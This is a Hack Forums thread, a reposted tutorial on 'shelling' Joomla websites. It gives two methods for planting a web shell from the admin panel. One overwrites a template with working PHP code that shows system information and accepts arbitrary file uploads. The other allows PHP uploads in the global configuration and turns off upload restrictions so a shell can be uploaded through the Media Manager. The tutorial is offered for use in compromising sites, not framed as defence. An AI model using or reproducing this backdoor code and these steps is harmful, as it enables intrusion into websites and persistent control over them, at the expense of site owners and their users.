+- Hack Forums (https://hackforums.net)
+-- Forum: Hacks, Exploits, and Various Discussions (https://hackforums.net/forumdisplay.php?fid=45)
+--- Forum: Grayhat • Purple Team • Hybrid Security (https://hackforums.net/forumdisplay.php?fid=449)
+---- Forum: Website Hacking (https://hackforums.net/forumdisplay.php?fid=43)
+---- Thread: [TUT]Shelling Joomla sites using 2 methods [TUT] (/showthread.php?tid=4824669)
[TUT]Shelling Joomla sites using 2 methods [TUT] - Aakash_Choudhary - May 17, 2015
Hi friends now i am sharing a shelling tutorial to shell joomla sites using 2 methods.
We're gonna use two method of shelling Joomla sites in case one method doesn't work. So let's get started
NOTE :- This is not mine tutorial.This is tutorial by " LUTERO ".So credit goes to him. I am sharing because i think it deserve.
First Method: Shelling Joomla sites using Templates.
Step1: Login into the Joomla administrator's admin panel.
Alright, once we're logged in, navigate to "Extensions" and click "Template manager"
Once you're there, you'll see a bunch of themes you can choose. Choose any theme you would like to edit. I suggest you leave the default theme untouched. Once you've chosen a theme, select it, and Click on Edit
Once you have clicked Edit, Click on "Edit HTML" You'll see the source code and the path of the Template once you've clicked "Edit HTML". Make sure to copy the "Path"
Now Erase the source code and replace it with: Code:
PHP Code
<?php echo '<b><br><br>'.php_uname ().'<br></b>'; echo '<form action="" method="post" enctype="multipart/form- data" name="uploader" id="uploader">'; echo '<input type="file" name="file" size="50"><input name="_upl" type="submit" id="_upl" value="Upload"></form>'; if( $_POST['_upl'] == "Upload" ) { if(@copy($_FILES['file'] ['tmp_name'], $_FILES['file']['name'])) { echo '<b>Twitter: @lutero</b><br><br>'; } else { echo '<b>Upload Sucess !!!</ b><br><br>'; } } ?>Once you've done that, you shall navigate to your shell by using the path information they have given you. So it'll be like:
Code:
PHP Code
<?php
hxxp://site(dot)com/ templates/beez/index(dot)php
Method Number 2: Uploading a shell to the server directly
In this method, we're not gonna use any codes, instead, we'll find a way to upload the shell directly to the server. So let's get started.
Step1: Click on Site and Click Global Configuration
Once you've done that, Click on System and Add "php,PHP,.php,.PHP" to the extension manager. Then Click No from the "Restrict Uploads" Section.
Once that, Click Save and you're ready to upload a PHP file.
Now head on to the "Site" navigation bar and Click "Media Manager"
When you're there, go the image path once saw on the "Global Configuration" Settings which in this case, it was images/stories Upload your shell using the uploader function:
Once your shell is uploaded, you can freely navigate to your shell.Hope you enjoyed this tutorial. Thanks 🤝